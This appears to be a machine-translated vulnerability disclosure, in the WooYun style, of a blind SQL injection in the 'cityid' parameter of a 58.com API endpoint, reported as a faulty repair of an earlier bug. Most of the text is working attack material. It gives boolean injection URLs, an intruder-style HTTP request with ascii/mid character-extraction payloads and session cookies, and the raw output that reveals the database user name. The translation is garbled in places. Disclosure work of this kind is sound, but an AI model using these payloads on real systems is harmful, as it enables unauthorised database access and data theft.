58. A substation in the same city has SQL Injection

58. A substation in the same city has SQL Injection

Improper repair

WooYun: A Home SQL Injection Vulnerability
 

http://jzt2.58.com/api/guest/v21/vip/info?cityid=358164604%20or%201=1&lat=22.6204214&lng=114.0728613&r=-1820211705

 

 

http://jzt2.58.com/api/guest/v21/vip/info?cityid=358164604%20or%201=2&lat=22.6204214&lng=114.0728613&r=-1820211705

 

 

http://jzt2.58.com/api/guest/v21/vip/info?cityid=358164604 or length(user())=28&lat=22.6204214&lng=114.0728613&r=-1820211705

 

Length 28


Use ascii

Ascii (mid (lower (user (), % s, 1) = % s


 

GET /api/guest/v21/vip/info?cityid=358164604%20or%20ascii(mid(lower(user()),§1§,1))%20=§101§%20&lat=22.6204214&lng=114.0728613&r=-1820211705 HTTP/1.1Host: jzt2.58.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: id58=9qbh61Zn5kiPetPUF7p0hg==; city=zz; 58home=zz; 58tj_uuid=61765164-deec-41c5-b506-7749ea30e4f9; new_uv=2; als=0; bj58_new_uv=1; bj58_id58s="UW9qdlRxakF4RmVoMDE0MQ=="; myfeet_tooltip=end; mcity=zz; td_cookie=150435839Connection: keep-alive

The first variant is a number ranging from 1 to 28.

The second digit is the ascii value of abcdefghijklmnopqrstuvwxyz0123456789 @ _.
 

Replay options

Matching setting 648789519985946624

Variant condition discard match 648789519985946624 discard Variant 1




 

Result


 

 

1 1012 1093 994 1085 1116 1167 1168 1019 11410 12111 9512 11413 11914 9515 10016 10617 6418 4919 4820 4621 5722 4623 5024 4825 4626 4927 5628 57

Database [email protected]



The last two digits will change.
 

http://jzt2.58.com//api/guest/v21/vip/info?cityid=358164604%20or%20ascii%28mid%28lower%28user%28%29%29,27,1%29%29=55%20&lat=22.6204214&lng=114.0728613&r=-1820211705